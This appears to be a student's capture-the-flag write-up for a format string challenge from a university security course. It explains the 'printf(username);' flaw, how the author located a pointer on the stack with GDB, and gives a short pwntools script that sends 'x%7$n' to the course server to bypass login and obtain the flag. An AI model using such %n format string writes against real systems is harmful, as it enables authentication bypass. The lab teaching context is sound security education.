This is a CTF problem on Format String Attacks. The question is on the CTF Platform of the Security Lecture at Saarland University. Maybe you can't log in the website. The description is in the following:

Your colleague has implemented a new login functionality and pushed his commit to master, hence making it productive, without checking for open ToDos. Unfortunately, he forgot to implement the function responsible for checking login credentials. Furthermore, he can not change the running state of the system without accessing the server secret, which changes hourly and is protected by the unimplemented login.

The two files are here:
authorization_is_key
authorization_is_key.c

Analysis

the vulnerable part here is 'printf(username);' in the source code. This means we can use format string attack here because it just has one parameter. My solution is in the following:

we need to know where is the location of the is_authenticated in the memory. After using GDB_peda to check the memory, I found there was a parameter strange because it was 0x300000000

and after one loop it became 0x200000000.

I know 3 and 2 must equal to the number of attempts. But what the zeros mean is confused. After thinking about that, I used x/20gx $rsp command to enter the memory, and I found the whole memory is 0x0000000200000000.

So, I understood that the first 8 bytes were used for storing attempts and the last 8 bytes were used for storing is_authenticated. Also, I found that value in the next address was 0x00007fffffffde20 which is the address of is_authenticated. It is the pointer parameter is_authenticated_ptr. So, we can change the pointer's value to change the value of is_authenticated.

Experiment

After knowing this, I used the bug of 'printf(username);' to change the value. The first thing here is to know the offset in the memory. After testing on GDB, I found the offset of is_authenticated_ptr is 7. So, we can write a shellcode right now.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

conn = remote('sec19.scy-phy.net',1339)
r1 = conn.recvline()
#b'Username:\n'
conn.sendline('x%7$n')
r2 = conn.recvline()
#b'Password:\n'
conn.sendline('a')
r3 = conn.recvline()
#b'Checked credentials for user x.\n'
r4 = conn.recvline()
#b'Welcome!\n'
r5 = conn.recvline()
print (r5)
conn.close()

We can get the flag : FLAG{Who_implemented_this_fricking_percent_n_formatter}